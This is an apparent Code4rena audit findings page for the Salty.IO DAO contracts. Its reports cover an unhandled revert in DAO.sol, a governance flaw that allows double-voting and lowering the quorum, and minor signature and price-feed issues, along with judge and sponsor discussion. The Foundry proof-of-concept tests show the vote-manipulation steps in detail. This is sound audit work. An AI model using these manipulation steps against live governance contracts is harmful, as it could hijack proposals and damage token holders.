Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 26/178
Findings: 3
Award: $527.53
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: vnavascues
484.6392 USDC - $484.64
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L180 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L219 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L219
The DAO._executeApproval
function does not handle an external contract call error:
else if (ballot.ballotType == BallotType.CALL_CONTRACT) { // @audit-issue unhandled revert ICalledContract(ballot.address1).callFromDAO(ballot.number1); emit ContractCalled(ballot.address1, ballot.number1); }
Given an approved CALL_CONTRACT
ballot that can be finalized, the ballot won't be marked as finalized if the external contract call (from above) reverts.
function _finalizeApprovalBallot(uint256 ballotID) internal { if (proposals.ballotIsApproved(ballotID)) { Ballot memory ballot = proposals.ballotForID(ballotID); _executeApproval(ballot); } // @audit-issue the line below won't be executed if `_executeApproval` reverts proposals.markBallotAsFinalized(ballotID); }
A permanent revert leaves the ballot unfinalized, and the user that posted it with an active proposal (in the _userHasActiveProposal
mapping); a state that prevents the user account from creating a new proposal. At this point the user has two options to sort out the situation:
A. Unstake and transfer its SALT into a new account. B. Convince the other users to reach quorum on NO and finalize the ballot without calling the external contract.
New contract to be created in /src/dao/tests
:
// SPDX-License-Identifier: BUSL 1.1 pragma solidity =0.8.22; import "../interfaces/ICalledContract.sol"; contract TestCallReceiverFaulty is ICalledContract { uint256 public value; function callFromDAO(uint256 n) external { value = n; revert("callFromDAO() unexpectedly reverted"); } }
Add the following test in DAO.t.sol
:
function testCallContractApproveReverted() public { // Arrange vm.startPrank(alice); staking.stakeSALT(1000000 ether); TestCallReceiverFaulty testReceiver = new TestCallReceiverFaulty(); uint256 ballotID = proposals.proposeCallContract( address(testReceiver), 123, "description" ); assertEq( proposals.ballotForID(ballotID).ballotIsLive, true, "Ballot not correctly created" ); proposals.castVote(ballotID, Vote.YES); vm.warp(block.timestamp + 11 days); vm.expectRevert("callFromDAO() unexpectedly reverted"); // Act dao.finalizeBallot(ballotID); // Assert assertEq( proposals.ballotForID(ballotID).ballotIsLive, true, "Ballot not correctly finalized" ); assertTrue( testReceiver.value() != 123, "Receiver shouldn't receive the call" ); assertEq( proposals.userHasActiveProposal(alice), true, "Alice proposal is not active" ); }
Test and manually reviewed.
A trivial solution is to handle the reverted external contract call with a try..catch
and allow to always mark the approved ballot as finalized. A new ballot can always be created if the desired effects of the call were not applied on the first call.
Amend the CALL_CONTRACT
case in the DAO._executeApproval
function:
else if (ballot.ballotType == BallotType.CALL_CONTRACT) { try ICalledContract(ballot.address1).callFromDAO(ballot.number1) { // NB: place the emission outside if it must be emitted no matter the external call outcome emit ContractCalled(ballot.address1, ballot.number1); } catch (bytes memory) {} }
Add the following test in DAO.t.sol
:
function testCallContractApproveRevertHandled() public { // Arrange vm.startPrank(alice); staking.stakeSALT(1000000 ether); TestCallReceiverFaulty testReceiver = new TestCallReceiverFaulty(); uint256 ballotID = proposals.proposeCallContract( address(testReceiver), 123, "description" ); // Act _voteForAndFinalizeBallot(ballotID, Vote.YES); // Assert assertTrue( testReceiver.value() != 123, "Receiver shouldn't receive the call" ); assertEq( proposals.userHasActiveProposal(alice), false, "Alice proposal is not active" ); }
Governance
#0 - Picodes
2024-02-06T10:38:21Z
Related to #622
#1 - c4-judge
2024-02-06T10:38:25Z
Picodes marked the issue as primary issue
#2 - c4-sponsor
2024-02-12T23:47:44Z
othernet-global (sponsor) confirmed
#3 - othernet-global
2024-02-18T08:18:23Z
callFromDAO now wrapped in a try/catch
https://github.com/othernet-global/salty-io/commit/5f1a5206a04b0f3fe45ad88a311370ce12fb0135
#4 - c4-judge
2024-02-20T11:38:18Z
Picodes marked the issue as satisfactory
#5 - c4-judge
2024-02-20T11:38:22Z
Picodes marked the issue as selected for report
#6 - fnanni-0
2024-02-22T13:27:41Z
I think this is a duplicate of #362.
From Code4rena docs:
Similar exploits under a single issue
Findings are duplicates if they share the same root cause.
More specifically, if fixing the Root Cause (in a reasonable manner) would cause the finding to no longer be exploitable, then the findings are duplicates.
The vulnerabilty's root cause of both #362 and #1009 is that proposals don't expire. It's not a problem in itself that proposals might not reach quorum or that they might revert. Both things are expected behaviors of most governance contracts and simply adding an expiration/cancelling mechanism fixes them.
Note that at least one submission (#490) mentioned both ramifications of the issue but was split in two.
On the other hand, I'm not convinced that adding a try/catch and finalizing failed proposals is a good idea. If a proposal's execution could be DoS by making the target call unavailable even for just a block, the proposal would end, though it would be a lot harder to DoS it during a long time. Look at other governance systems and probably most won't bother with transactions reverting. A few examples: OpenZeppelin Governor, Zodiac's RealityModule, Kleros Governor. IMO proposals not expiring should be fixed, not transactions failing.
#7 - Picodes
2024-02-27T18:33:53Z
@fnanni-0 thanks for your comment. I still think there are 2 distinct issues here although as you're correctly pointing out we could wrap them in a larger one.
finalize
because of https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L385
finalize
eitherWe can imagine adding a function to fix both issues at once, but most suggested mitigations only fix one.
Most reports discuss only one of these 2 things, so to me it's fair to consider there are 2 separate issues.
🌟 Selected for report: PENGUN
Also found by: 0xanmol, Draiakoo, J4X, Matue, ReadyPlayer2, cu5t0mpeo, dutra, falconhoof, grearlake, peanuts, piyushshukla, vnavascues, zhanmingjing, zhaojie
31.1969 USDC - $31.20
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L385 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L342 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L317
The DAO Governance voting system implements the following measures to prevent an attack via a sudden increase of the user's voting power (e.g. borrowing voting tokens with a flash-loan):
minUnstakeWeeks
: The minimum number of weeks for an unstake request at which point minUnstakePercent
of the original staked SALT is reclaimable. Default is 2 days, range is from 1 to 12 days.maxUnstakeWeeks
: The maximum number of weeks for an unstake request at which point 100% of the original staked SALT is reclaimable. Default is 52 days, range is from 20 to 108 days.minUnstakePercent
: The percentage of the original staked SALT that is reclaimable when unstaking the minimum number of weeks.
Default is 20%, range is from 10% to 50%.modificationCooldown
: The minimum time between increasing and decreasing user shares. Default is 1 hour, range is from 15 minutes to 6 hours.Also, the proposals to be voted (aka Ballot
) have these relevant properties:
ballotIsLive
: Whether the ballot accepts votes or has ended.ballotMinimumEndTime
: The earliest timestamp at which a ballot can end. Can be open longer if the quorum has not yet been reached for instance or if no EOA has finalized the ballot (after reaching quorum). Default is 10 days, range is from 3 to 14 days.Finally, a ballot can finalize when (from DAO.canFinalizeBallot):
Ballot.ballotIsLive
).Ballot.ballotMinimumEndTime
).// Checks that ballot is live, and minimumEndTime and quorum have both been reached. function canFinalizeBallot(uint256 ballotID) external view returns (bool) { Ballot memory ballot = ballots[ballotID]; if (!ballot.ballotIsLive) return false; // Check that the minimum duration has passed if (block.timestamp < ballot.ballotMinimumEndTime) return false; // Check that the required quorum has been reached if ( totalVotesCastForBallot(ballotID) < requiredQuorumForBallotType(ballot.ballotType) ) return false; return true; }
However, the DAO Governance voting system does not implement any kind of voting power checkpoint (aka. snapshot) per account and proposal as per the functions related with voting, votes counting and quorum calculation demonstrate:
Proposals.castVote
function only checks that the ballot is live and that the user has voting power.Proposals.totalVotesCastForBallot
function just sums all the votes in the ballot.Proposals.requiredQuorumForBallotType
uses the current total amount of SALT staked to calculate the required quorum (or defaults to 0.5% of SALT total supply). This amount of xSALT is not fixed, as it fluctuates along with the users that stake and unstake (which it does not matter if they do not claim the SALT).The voting system is flawed and can be exploited.
One or multiple malicious users can decide a proposal by following these scenarios:
Attempting this attack is likely given the fact that:
minUnstakeWeeks
can be as low as 1 week.minUnstakePercent
can be high as 50%.ballotMinimumEndTime
can be as high as 14 days (2 weeks).modificationCooldown
value (from 15 minutes to 6 hours) is irrelevant in both A and B scenarios described above.For simplicity sake the DAOConfig
settings related with the voting system and the SakingConfig
settings related with the SALT staking/unstaking are set as default (via Deployment.sol
). On a real attack scenario these values would be set in a more advantageous state for the attacker regarding unstaking-SALT.
Scenario A
Add the following test in src/dao/tests/Proposals.t.sol
:
function testScenarioA() public { // 1. Fund bob and charlie accounts (alice is already funded) address eve = 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496; // NB: from default address vm.startPrank(DEPLOYER); salt.transfer(bob, 250_000 ether); salt.transfer(charlie, 125_000 ether); vm.stopPrank(); assertEq( salt.balanceOf(DEPLOYER), 89_625_000 ether, "SALT: deployer balance is not 89.625 mil" ); assertEq( salt.balanceOf(alice), 10_000_000 ether, "SALT: alice balance is not 10 mil" ); assertEq( salt.balanceOf(bob), 250_000 ether, "SALT: bob balance is not 250k" ); assertEq( salt.balanceOf(charlie), 125_000 ether, "SALT: bob balance is not 125k" ); assertEq(salt.balanceOf(eve), 0 ether, "SALT: eve balance is not 0"); // NB: check no SALT is staked yet uint256 stakedSALT = staking.totalShares(PoolUtils.STAKED_SALT); assertEq(stakedSALT, 0, "Staking: SALT staked is not 0"); // No SALT staked // 2. Make alice stake 250k vm.startPrank(alice); staking.stakeSALT(250_000 ether); uint256 aliceStakedAmount = staking.userShareForPool( alice, PoolUtils.STAKED_SALT ); vm.stopPrank(); // 3. Make bob stake 250k vm.startPrank(bob); staking.stakeSALT(250_000 ether); vm.stopPrank(); // 4. Make charlie stake 125k (it requires an approval first) vm.startPrank(charlie); salt.approve(address(staking), 125_000 ether); staking.stakeSALT(125_000 ether); vm.stopPrank(); // NB: check total staked amount assertEq( staking.totalShares(PoolUtils.STAKED_SALT), 625_000 ether, "Staking: SALT staked is not 625k" ); // 5. Make alice create a proposal that requires 10% quorum (500k SALT) and // make her vote INCREASE (250k votes added to INCREASE, total INCREASE is 250k) vm.startPrank(alice); uint256 ballotID = proposals.proposeParameterBallot(2, "description"); uint256 totalSharesAtProposalTime = staking.totalShares( PoolUtils.STAKED_SALT ); proposals.castVote(ballotID, Vote.INCREASE); vm.stopPrank(); // 6. Make bob vote DECREASE (250k votes added to DECREASE, total DECREASE is 250k) vm.startPrank(bob); proposals.castVote(ballotID, Vote.DECREASE); vm.stopPrank(); // 7. Make charlie vote DECREASE (125k votes added to DECREASE, total DECREASE is 375k) vm.startPrank(charlie); proposals.castVote(ballotID, Vote.DECREASE); vm.stopPrank(); // NB: check total votes and quorum uint256 totalVotesBeforeAttack = proposals.totalVotesCastForBallot( ballotID ); assertEq( totalVotesBeforeAttack, 625_000 ether, "Proposals: total votes are not 625k" ); assertEq( totalSharesAtProposalTime, totalVotesBeforeAttack, "Proposals: total votes are not equal to the total shares of the voters" ); assertEq( proposals.requiredQuorumForBallotType(BallotType.PARAMETER), 500_000 ether, "Proposals: required quorum for ballot is not 500k SALT" ); // 8. Make alice unstake her whole amount (250k) with a full unstake duration for simplicity sake (52 weeks) vm.startPrank(alice); uint256 maxUnstakeWeeks_ = stakingConfig.maxUnstakeWeeks(); uint256 unstakeID = staking.unstake( aliceStakedAmount, maxUnstakeWeeks_ ); // NB: move timestamp 52 weeks ahead vm.warp(block.timestamp + (maxUnstakeWeeks_ * 1 weeks)); // 9. Make alice claim her unstaked SALT, and transfer them to eve staking.recoverSALT(unstakeID); salt.transfer(eve, 250_000 ether); vm.stopPrank(); // 10. Make eve stake and vote INCREASE (250k votes added to INCREASE, total INCREASE is 500k) vm.startPrank(eve); salt.approve(address(staking), 250_000 ether); staking.stakeSALT(250_000 ether); proposals.castVote(ballotID, Vote.INCREASE); vm.stopPrank(); // NB: check total staked amount, total votes, votes breakdown and quorum uint256 totalSharesAfterAttack = staking.totalShares( PoolUtils.STAKED_SALT ); assertEq( totalSharesAfterAttack, 625_000 ether, "Staking: SALT staked are not 625k" ); uint256 totalVotesAfterAttack = proposals.totalVotesCastForBallot( ballotID ); assertEq( totalVotesAfterAttack, 875_000 ether, "Proposals: total votes are not 875k" ); assertEq( proposals.votesCastForBallot(ballotID, Vote.INCREASE), 500_000 ether, "Proposals: INCREASE votes are not 500k" ); assertEq( proposals.votesCastForBallot(ballotID, Vote.DECREASE), 375_000 ether, "Proposals: DECREASE votes are not 375k" ); assertTrue(totalSharesAtProposalTime == totalSharesAfterAttack); // @audit few potential invariants are broken assertTrue(totalVotesAfterAttack > totalVotesBeforeAttack); assertTrue(totalVotesAfterAttack > totalSharesAtProposalTime); assertEq( proposals.requiredQuorumForBallotType(BallotType.PARAMETER), 500_000 ether, "Proposals: required quorum for ballot are not 500k SALT" ); // 11. Make alice finalize the ballot assertTrue(proposals.canFinalizeBallot(ballotID)); vm.startPrank(alice); dao.finalizeBallot(ballotID); vm.stopPrank(); }
Scenario B
Add the following test in src/dao/tests/Proposals.t.sol
:
function testScenarioB() public { // 1. Fund bob and charlie accounts (alice is already funded) vm.startPrank(DEPLOYER); salt.transfer(bob, 500_000 ether); salt.transfer(charlie, 6_750_000 ether); vm.stopPrank(); assertEq( salt.balanceOf(DEPLOYER), 82_750_000 ether, "SALT: deployer balance is not 82.750 mil" ); assertEq( salt.balanceOf(alice), 10_000_000 ether, "SALT: alice balance is not 10 mil" ); assertEq( salt.balanceOf(bob), 500_000 ether, "SALT: bob balance is not 500k" ); assertEq( salt.balanceOf(charlie), 6_750_000 ether, "SALT: bob balance is not 6.75 mil" ); // NB: check no SALT is staked yet uint256 stakedSALT = staking.totalShares(PoolUtils.STAKED_SALT); assertEq(stakedSALT, 0, "Staking: SALT staked is not 0"); // No SALT staked // 2. Make alice stake 500k vm.startPrank(alice); staking.stakeSALT(500_000 ether); uint256 aliceStakedAmount = staking.userShareForPool( alice, PoolUtils.STAKED_SALT ); vm.stopPrank(); // 3. Make bob stake 250k vm.startPrank(bob); staking.stakeSALT(250_000 ether); vm.stopPrank(); // 4. Make charlie stake 6.750 mil (it requires an approval first) vm.startPrank(charlie); salt.approve(address(staking), 6_750_000 ether); staking.stakeSALT(6_750_000 ether); vm.stopPrank(); // NB: check total staked amount is 7.5 mil assertEq( staking.totalShares(PoolUtils.STAKED_SALT), 7_500_000 ether, "Staking: SALT staked is not 7.5 mil" ); // 5. Make alice create a proposal that requires 1% quorum (750k SALT, instead of default 500k SALT) and // make her vote INCREASE (500k votes added to INCREASE, total INCREASE is 500k) vm.startPrank(alice); uint256 ballotID = proposals.proposeParameterBallot(2, "description"); uint256 totalSharesAtProposalTime = staking.totalShares( PoolUtils.STAKED_SALT ); proposals.castVote(ballotID, Vote.INCREASE); vm.stopPrank(); // 6. Make bob vote DECREASE (500k votes added to DECREASE, total DECREASE is 500k) vm.startPrank(bob); proposals.castVote(ballotID, Vote.DECREASE); vm.stopPrank(); // NB: check total votes and quorum uint256 totalVotesBeforeAttack = proposals.totalVotesCastForBallot( ballotID ); uint256 requiredQuorum = proposals.requiredQuorumForBallotType( BallotType.PARAMETER ); assertEq( totalVotesBeforeAttack, 750_000 ether, "Proposals: total votes are not 750k" ); assertEq( proposals.requiredQuorumForBallotType(BallotType.PARAMETER), 750_000 ether, "Proposals: required quorum for ballot is not 750k SALT" ); // 7. Make alice unstake almost his whole amount (2 mil instead of 2.5 mil). // The number of weeks and whether he claims the full amount is irrelevant as he does not play an active role // in this proposal (aka. he does not vote) vm.startPrank(charlie); uint256 maxUnstakeWeeks_ = stakingConfig.maxUnstakeWeeks(); staking.unstake(2_000_000 ether, maxUnstakeWeeks_); vm.stopPrank(); // NB: check new total shares and quorum assertEq( staking.totalShares(PoolUtils.STAKED_SALT), 5_500_000 ether, "Staking: SALT staked are not 5.5 mil" ); assertEq( proposals.requiredQuorumForBallotType(BallotType.PARAMETER), 550_000 ether, "Proposals: required quorum for ballot is not 550k SALT" ); assertFalse(proposals.canFinalizeBallot(ballotID)); // 8. Make alice unstake her whole amount (500k) to push down the quorum requirement // The number of weeks and whether she claims the full amount is irrelevant vm.startPrank(alice); staking.unstake(aliceStakedAmount, maxUnstakeWeeks_); vm.stopPrank(); // NB: check total staked amount, total votes, votes breakdown and quorum uint256 totalSharesAfterAttack = staking.totalShares( PoolUtils.STAKED_SALT ); assertEq( totalSharesAfterAttack, 5_000_000 ether, "Staking: SALT staked are not 5mil" ); uint256 totalVotesAfterAttack = proposals.totalVotesCastForBallot( ballotID ); assertEq( totalVotesAfterAttack, totalVotesBeforeAttack, "Proposals: total votes are not 750k" ); assertEq( proposals.votesCastForBallot(ballotID, Vote.INCREASE), 500_000 ether, "Proposals: INCREASE votes are not 500k" ); assertEq( proposals.votesCastForBallot(ballotID, Vote.DECREASE), 250_000 ether, "Proposals: DECREASE votes are not 250k" ); assertEq( proposals.requiredQuorumForBallotType(BallotType.PARAMETER), 500_000 ether, "Proposals: required quorum for ballot are not 500k SALT" ); // NB: move forward time 10 days to be able to finalize the ballot assertFalse(proposals.canFinalizeBallot(ballotID)); uint256 ballotMinimumDuration = daoConfig.ballotMinimumDuration(); vm.warp(block.timestamp + ballotMinimumDuration); // 9. Make alice finalize the ballot that required a quorum of 750k for with just 500k vm.startPrank(alice); assertTrue(proposals.canFinalizeBallot(ballotID)); vm.startPrank(alice); dao.finalizeBallot(ballotID); vm.stopPrank(); }
Forge tests and manually reviewed.
First, take a snapshot of each user voting power per proposal and only allow them to vote with the balance they hold at that time. Then, consider whether unstaking wihtout claiming to decide a proposal should be allowed by the system and amend the code if necessary.
Governance
#0 - c4-sponsor
2024-02-12T23:38:40Z
othernet-global (sponsor) disputed
#1 - othernet-global
2024-02-12T23:46:17Z
Users cannot double vote. If a user stakes, votes, unstakes for two weeks, votes again then they only achieve an additional 20% of their original vote amount - but at an 80% penalty in terms of their owned SALT which is acceptable.
In the POC there are only three users who are unstaking 33% of the staked SALT to affect required quorum. This is not realistic and the default unstaking and quorum behavior is acceptable.
#2 - Picodes
2024-02-20T11:24:28Z
Considering the fact that:
minUnstakeWeeks
and other parameters could be changedI think Medium severity is appropriate here both for the fact that user can double vote and that you can still vote after the voting phase if the quorum hasn't been reached. Taken individually I understand the sponsor's reasoning, but accumulating these features could lead to users creating stealth proposals, double-voting, and trying to lower the quorum to get them to the finish line.
#3 - c4-judge
2024-02-20T11:24:41Z
Picodes marked the issue as satisfactory
#4 - c4-judge
2024-02-21T16:34:22Z
Picodes changed the severity to QA (Quality Assurance)
#5 - c4-judge
2024-02-21T16:34:32Z
This previously downgraded issue has been upgraded by Picodes
#6 - c4-judge
2024-02-21T16:35:13Z
Picodes marked the issue as duplicate of #844
#7 - othernet-global
2024-02-22T21:49:25Z
ballotMaximumDuration added https://github.com/othernet-global/salty-io/commit/758349850a994c305a0ab9a151d00e738a5a45a0
#8 - othernet-global
2024-02-23T02:39:48Z
minUnstakeWeeks now a minimum of 2 https://github.com/othernet-global/salty-io/commit/1eaf1e3a9060028e669092012a30436a9a8bdfa4
🌟 Selected for report: juancito
Also found by: 0x3b, 0xBinChook, 0xCiphky, 0xHelium, 0xMango, 0xOmer, 0xRobocop, 0xSmartContractSamurai, 0xWaitress, 0xbepresent, 0xpiken, 7ashraf, Arz, Audinarey, Banditx0x, Bauchibred, Draiakoo, IceBear, J4X, Jorgect, Kaysoft, KingNFT, Rhaydden, Rolezn, The-Seraphs, Tigerfrake, Topmark, Tripathi, Udsen, ZanyBonzy, a3yip6, b0g0, chaduke, codeslide, csanuragjain, dharma09, djxploit, eta, ether_sky, grearlake, inzinko, jasonxiale, jesjupyter, josephdara, lanrebayode77, linmiaomiao, lsaudit, niroh, oakcobalt, peanuts, pina, sivanesh_808, slvDev, t0x1c, vnavascues, wangxx2026
11.6897 USDC - $11.69
SigningTools
librarySignatures with high s-values (i.e. s-value greater than secp256k1n/2
) must be considered invalid in order to comply with EIP-2. However, ecrecover
allows for malleable (non-unique) signatures due to the ECDSA recover precompiled contract remains unchanged.
The SigningTools._verifySignature
function overlooks the s-value range:
// Verify that the messageHash was signed by the authoratative signer. function _verifySignature(bytes32 messageHash, bytes memory signature ) internal pure returns (bool) { require( signature.length == 65, "Invalid signature length" ); bytes32 r; bytes32 s; uint8 v; assembly { r := mload (add (signature, 0x20)) s := mload (add (signature, 0x40)) v := mload (add (signature, 0x41)) } // @audit-issue s-value range is not checked address recoveredAddress = ecrecover(messageHash, v, r, s); return (recoveredAddress == EXPECTED_SIGNER); }
Currently there is no impact due to SigningTools._verifySignature
is only being used by the AccessManager.grantAccess
logic (which uses the geoVersion
value as a replay protection nonce, and where allowing access a wallet more than once has no security impact). However, devs must be aware of the risks of using the SigningTools
library elsewhere.
NA
Manually reviewed.
Either use the latest OpenZeppelin ECDSA cryptography library (recommended, as it has been audited and not only checks that the signature is not malleable but also checks that the signer address is not the zero address) or make sure to implement the logic that validates the s-value range in the SigningTools._verifySignature
function.
setInitialFeeds
and setPriceFeed
price feed addresses validationsBoth PriceAggregator.setInitialFeeds
and PriceAggregator.setPriceFeed
functions do not prevent from setting an address more than once across the price feed storage variables (i.e. priceFeed1
, priceFeed2
and priceFeed3
). Moreover, the PriceAggregator.setPriceFeed
function does not prevent from setting the same existing value (which in fact ends up setting priceFeedModificationCooldownExpiration
further in the future).
Setting a duplicated price feed address by mistake has the following consequences:
Worth mentioning that it takes at least 30 days (up to 45 days) to amend a single price feed address (due to PriceAggregator.setPriceFeed
only allowing to set one address at a time and setting priceFeedModificationCooldownExpiration
several days ahead).
For these reasons it is worth adding checks on the price feed addresses to be stored.
NA
Manually reviewed.
A trivial solution for the PriceAggregator.setInitialFeeds
function is to check the addresses against each other:
function setInitialFeeds( IPriceFeed _priceFeed1, IPriceFeed _priceFeed2, IPriceFeed _priceFeed3 ) public onlyOwner { require( address(priceFeed1) == address(0), "setInitialFeeds() can only be called once" ); // HERE require( address(_priceFeed1) != address(_priceFeed2), "setInitialFeeds() feed1 == feed2" ); // HERE require( address(_priceFeed2) != address(_priceFeed3), "setInitialFeeds() feed2 == feed3" ); // HERE require( address(_priceFeed3) != address(_priceFeed1), "setInitialFeeds() feed3 == feed1" ); priceFeed1 = _priceFeed1; priceFeed2 = _priceFeed2; priceFeed3 = _priceFeed3; }
A trivial solution for the PriceAddregator.setPriceFeed
function is to check that the new address (i.e. newPriceFeed
) does not equal the existing one:
function setPriceFeed( uint256 priceFeedNum, IPriceFeed newPriceFeed ) public onlyOwner { // If the required cooldown is not met, simply return without reverting so that the original proposal can be finalized and new setPriceFeed proposals can be made. if (block.timestamp < priceFeedModificationCooldownExpiration) return; if (priceFeedNum == 1) { // HERE require( priceFeed1 != newPriceFeed, "setPriceFeed() priceFeed1 already set" ); priceFeed1 = newPriceFeed; } else if (priceFeedNum == 2) { // HERE require( priceFeed2 != newPriceFeed, "setPriceFeed() priceFeed2 already set" ); priceFeed2 = newPriceFeed; } else if (priceFeedNum == 3) { // HERE require( priceFeed3 != newPriceFeed, "setPriceFeed() priceFeed3 already set" ); priceFeed3 = newPriceFeed; } else { revert("setPriceFeed() unsupported case"); } priceFeedModificationCooldownExpiration = block.timestamp + priceFeedModificationCooldown; emit PriceFeedSet(priceFeedNum, newPriceFeed); }
More complex solutions could be adopted, for instance making sure that the value to be stored in a price feed storage variable only belongs to a particular oracle address (e.g. only Chainlink price feeds can be stored in priceFeed2
).
#0 - c4-judge
2024-02-03T13:10:13Z
Picodes marked the issue as grade-b